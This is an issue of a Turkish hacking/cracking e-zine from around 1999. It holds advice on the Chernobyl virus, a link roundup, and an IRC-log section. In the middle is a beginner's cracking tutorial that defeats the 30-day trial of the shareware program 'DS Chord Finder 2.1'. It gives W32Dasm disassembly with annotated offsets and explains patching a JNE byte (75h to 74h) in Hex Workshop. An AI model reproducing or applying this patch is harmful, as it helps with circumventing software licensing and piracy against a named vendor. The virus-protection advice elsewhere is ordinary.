Tarihi değiştirmek için aşağıdaki işlemleri yapınız.

Windows 95 veya Windows 98 kullanıcıları

(aşağıda işlemi türkçe ve ingilizce windows için veriyorum.Kullandığınız dilin işlemlerini yapınız.Mouse ile tıklayarak yapınız.)

Başlat / Start
Programlar / Programs
Msdos işletim istemi / MSDOS Prompt
Siyah zeminli C:/> veya (C:\>Windows) ibaresini görünce DATE yazarak Enter tuşuna basınız. ( Karşınıza aşağıdakine benzer görüntü gelecektir.)
C:\>date
Current date is Wed 06/05/1998
Enter new date (dd-mm-yy): bu kısma yukarıda belirttiğim tariher dışında bir tarih yazın.
Örnek : 05/05/1999 yazıp Enter tuşuna basınız.
( dd= Gün mm=Ay yy=yıl )
Sonra EXIT yazarak Enter tuşuna basınız.Böylece Windows 95 / 98 masaüstüne geri döneceksiniz.

Bu işlemden sonra sıra geldi bilgisayarınızda çernobil virüsü olup olmadığına….Bunu anlamak ve virüs varsa temizlemek için antivirüs programına ihtiyacınız var.Bu programı aşağıda ki FTP Adresinden indirerek ,bilgisayarınıza kurunuz.
Program virüslü dosyaları bularak size bildirecek vede temizleyecektir.

Çerbobilden korunmak için aşağıdaki programları indirin.

Mcafee Antivirüs
Kurtarma Disketi ( Öncelikle yeni bir disketi sistem dosyalarını da atarak formatlayın -- Format A: /s komutunu kullanabilirsiniz. Kurtarma disketine
tıklayın.Kurtarma.zip adı ile çektiğiniz dosyayı Pkunzip veya Winzip ile açarak A: sürücüsüne kaydedin. Hazırladığınız Disket A: sürücündeyken makinanızı normal
yollarla kapatıp,tekrar açın.Kurtarma disketi sisteminizdeki virüsleri bulup temizleyecektir.)


Bu yazıyı yazma sebebim kullanıcıların madur durumda kaldıklarını görmem ve haksızlığa uğramamaları için bilgilendirmektir.Firmalar disk bilgilerinizi kurtarmak için ücret talep ederlerse ,bu onların doğal ve yasal hakkıdır.Ama anakartın yeniden satın alınması tartışmaya açık olmalıdır.

Tüm Çernobil virüsü kazazedelerinin bir an önce bu tatsız sorundan kurtulmalarını temenni ederek yazıma son veriyorum..


Ozan TAVŞAN
Email : ozan@zambak.balikesir.edu.tr


DS Chord Finder V.2.1 Nasıl Kırılır?

Selam,
İşte size bir crack örneği. Bu gaha çok gitar çalan bilgisayar meraklılarının ilgineceği bir program. Tabii cracking ile uğraşanlarda ilgilenebilir. Ben bu arada çok acemi bir cracker'ım ve sanırım yaptığım şeyler basit. (ama umudum var) Neyse gelelim kullanılacaklara.

Program Adı: DS Chord Finder (V 2.1)
Nereden Bulurum: http://ourworld.compuserve.com/homepages/dubbeldam/
Kırarken Kullandıklarım: Wdasm ve Hex Workshop

Programda bir Nag screen var ve birde 30 gün sınırı. Ben isterdimki daha uzun kullanabileyim. ve becerdim (inşallah biriside şu Nag screen davasını çözebilir).
Evet gelelim nasıl becerdiğime :) Tabii ki işe ilk önce standar yedeklerimizi alıyoruz, bir chfinder.exx uzantılı birde 1.exe kopyası. Wdasm ile chfinder.exe dosyasını disassamble ediyoruz. ve Functions menüsünden Imports seciyoruz. Bu arada 1.exe dosyasınıda Hex Workshop ile açıyoruz. Bakalım ilginç şeyler bulabilecek miyiz? Biraz aşşağılara doğru gidildikçe ilginç şeyler çıkıyor. Benim ilgimi ilk olarak
SHELL.REGCREATEKEY
SHELL.REGQUERYVALUE
SHELL.REGSETVALUE
yazıları çekti. Sanki buralarda bir işler dönüyor gibi geldi. Ve bunların olduğu bölümü çağırdım. Baktım peş peşeler, bir baktım SHELL.REGCREATEKEY den sonra bir JNE var. Bende tuttum değiştirdim. Wdasm ile buranın offset değerini öğrendim ve Hex Workshop ile gittim ve 75'i 74 yaptım.
Sonra 1.exe dosyasını çalıştırdım. baktım nag screen ve 30 gün sınırı duruyor. Kapattım daha sonra tarihi ileri aldım tekrar 1.exe dosyasını çalıştırdım. baktım hala 30 gün var. Böylelikle 31 gün sonra bile sürenin bitmesine 30 gün olacak :)

Aşağıda Wdasm ile görülen kısım var pek assamble bilgim yok ama tahmini olarak yanlarına birkaç not yazdım.

* Possible StringData Ref from Data Seg 005 ->"redniFdrohCsd"
|
:0002.6640 68A505 push 05A5
:0002.6643 16 push ss
:0002.6644 8D46DC lea ax, [bp-24]
:0002.6647 50 push ax
:0002.6648 9AFFFF0000 call SHELL.REGCREATEKEY <---- Burada register yaratılıyor
:0002.664D 0BC2 or ax, dx
:0002.664F 7516 jne 6667 <-------------- Buradan sonra 1 gün azalıyor
:0002.6651 66FF76DC push word ptr [bp-24] | Bu kısmdaki
:0002.6655 666A00 push 00000000 | JNE 6667 (7516h)
:0002.6658 16 push ss | JE 6667 (7416h) olarak
:0002.6659 8D46B6 lea ax, [bp-4A] | değişti
:0002.665C 50 push ax |
:0002.665D 16 push ss |
:0002.665E 8D46EA lea ax, [bp-16] |
:0002.6661 50 push ax |
:0002.6662 9AFFFF0000 call SHELL.REGQUERYVALUE <----- Burada kalan gün sorgulanıyor

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0002.664F(C)
|
:0002.6667 16 push ss <------------ Biz buraya atlatıyoruz
:0002.6668 07 pop es ve program devam ediyor.
:0002.6669 8D7EB6 lea di, [bp-4A]
:0002.666C FC cld

Eveeeet.. Ben den bu kadar. Eğer programı bulamazsanız, yada versiyon değişikliği ile farklı şeyler varsa bende e-mail yoluyla isteyebilirsiniz. Kolay gelsin...

mail to: Luv_Crack@yahoo.com


Ayın Programı

Bu ayın programı çok marifetli bir teknilk terimler sözlüğü.

Sozluk.zip |  607.KB  | HTML uzantılı


 

http://daws.virtualave.net/   Dergimizin yazarlalarından da olan DarkApocalypse'ın sayfası programcıların ilgisini çekeceğe benzer , site DarkApocalypse'ın kendi yazdığı programları , programlama dilleri ve işletim sistemleri hakkında bilgiler bulabileceğiniz özgün bir site.
http://members.xoom.com/turk_mp3/   Türkçe MP3 lerin bulunduğu bir site , en hoş yanıysa her yerden fırlayan sponsor pencerelerinin olmaması ve sayfanın oldukça sade ve hızlı olması.
http://swyque.virtualave.net/ilk.htm SwYqUe'nin sayfası programlama üzerine TRSCENE'nin de iyi bir okuyucusu olduğunu bildiğim SwYqUe'nin sayfasında kendinin ve grubunun yazdığı programları , programlama dilleri hakkında bilgiler den tutun webokuluna kadar bir çok bölümü olan özgün bir site.
http://www.hardwaremania.com/   Donanım ve yazılım üzerine yoğun laşmış bir site yazlılım ve donanım dünyasından en yeni haberleri bulabilirsiniz.
http://www.bilginet.com Dr. Abdullah Manaz'ın web sayfası sayfanın başlığı Stratejik Araştırmalar Merkezi olarak geçiyor sayfada Dr. Abdullah Manaz'a ait güncel yorumlar var.
http://www.bilelim.com   İneternette matematik eğitimi veren çok ilginç bir site . ÖSS sınavlarına hazırlanan okuyucularımıza tavsiye ederim, üniverste sınavları üzerine yoğunlaşmış.

Eğer sizinde bir WEB sayfanız varsa ve TRSCENE'nin ayın linkleri bölümünde yer almasını istiyorsanız bogac@trscene.org adresine siteniz hakkında kısa bir bilgi ve sitenin adresini içeren mektup gönderirseniz sevinirim.

 


 

Şamata!!!

Bu ay sizlerle birkaç ay öncesinde bir arkadaşın gönderdiği IRC loglarını paylaşmayı istedik, logların kahramanları, Turkey nickname’li bir vatandaş, bu vatandaşın hayal dünyası öyle geniş ki okurken şaşkınlığımı gizleyemedim. Diğeri ise |Leon|, logları tutan ve Turkey’i zıplatmak için elinden geleni ardına koymayan ve çok da sabırlı olan bir kişi. Yaptığı yorunlar tamamen kendini bağlıyor bizimle bir alakası yok..

Logları okuduktan sonra çıkaracağımız kıssadan hisse, böyle lamer’lara prim yaptırmayın..

Gelecek ay görüşünceye kadar, siz de bu bölüme katkıda bulunmak istiyorsanız projman@trscene.org adresine materyallerinizle birlikte mailleyin..

(Loglar –maalesef- küfürler içermektedir, okumakta ya da okumamakta serbestsiniz)

IRC ve ICQ logları

 



Turkish Scene --- Turkce Icerikli Hacking/Cracking/Programming Gazetesi --- Sayi --- 6 --- Dosya Sonu

+